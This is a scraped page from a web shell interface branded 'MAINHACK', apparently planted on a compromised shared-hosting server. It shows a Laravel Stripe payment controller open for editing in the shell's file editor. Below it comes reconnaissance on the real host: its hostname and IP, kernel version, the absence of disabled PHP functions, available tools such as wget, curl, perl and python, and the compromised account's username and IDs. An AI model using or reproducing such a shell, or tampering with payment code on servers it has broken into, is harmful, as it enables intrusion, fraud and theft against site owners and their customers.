[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: StripePaymentController.php
<?php namespace App\Http\Controllers; use App\CentralLogics\Helpers; use App\CentralLogics\OrderLogic; use App\Models\Order; use Brian2694\Toastr\Facades\Toastr; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Redirect; use Illuminate\Support\Str; use Stripe\Charge; use Stripe\Stripe; use App\Models\BusinessSetting; use PHPUnit\Exception; class StripePaymentController extends Controller { public function payment_process_3d() { $tran = Str::random(6) . '-' . rand(1, 1000); $order_id = session('order_id'); session()->put('transaction_ref', $tran); $order = Order::with(['details'])->where(['id' => $order_id])->first(); $config = Helpers::get_business_settings('stripe'); Stripe::setApiKey($config['api_key']); header('Content-Type: application/json'); $YOUR_DOMAIN = url('/'); $products = []; foreach ($order->details as $detail) { array_push($products, [ 'name' => $detail->food?$detail->food['name']:$detail->campaign['name'], 'image' => 'def.png' ]); } $checkout_session = \Stripe\Checkout\Session::create([ 'payment_method_types' => ['card'], 'line_items' => [[ 'price_data' => [ 'currency' => Helpers::currency_code(), 'unit_amount' => $order->order_amount * 100, 'product_data' => [ 'name' => BusinessSetting::where(['key' => 'business_name'])->first()->value, 'images' => [asset('storage/app/public/company') . '/' . BusinessSetting::where(['key' => 'logo'])->first()->value], ], ], 'quantity' => 1, ]], 'mode' => 'payment', 'success_url' => $YOUR_DOMAIN . '/pay-stripe/success', 'cancel_url' => url()->previous(), ]); return response()->json(['id' => $checkout_session->id]); } public function success() { $order = Order::find(session('order_id')); $order->order_status='confirmed'; $order->payment_method='stripe'; $order->transaction_reference=session('transaction_ref'); $order->payment_status='paid'; $order->confirmed=now(); $order->save(); try { Helpers::send_order_notification($order); } catch (\Exception $e) { } if ($order->callback != null) { return redirect($order->callback . '&status=success'); } return \redirect()->route('payment-success'); } public function fail() { DB::table('orders') ->where('id', session('order_id')) ->update(['order_status' => 'failed', 'payment_status' => 'unpaid', 'failed'=>now()]); $order = Order::find(session('order_id')); if ($order->callback != null) { return redirect($order->callback . '&status=fail'); } return \redirect()->route('payment-fail'); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium166.web-hosting.com
Server IP: 162.0.209.40
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium166.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 75.32 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kataubyb
User ID (UID): 624
Group ID (GID): 625
Script Owner UID: 624
Current Dir Owner: 624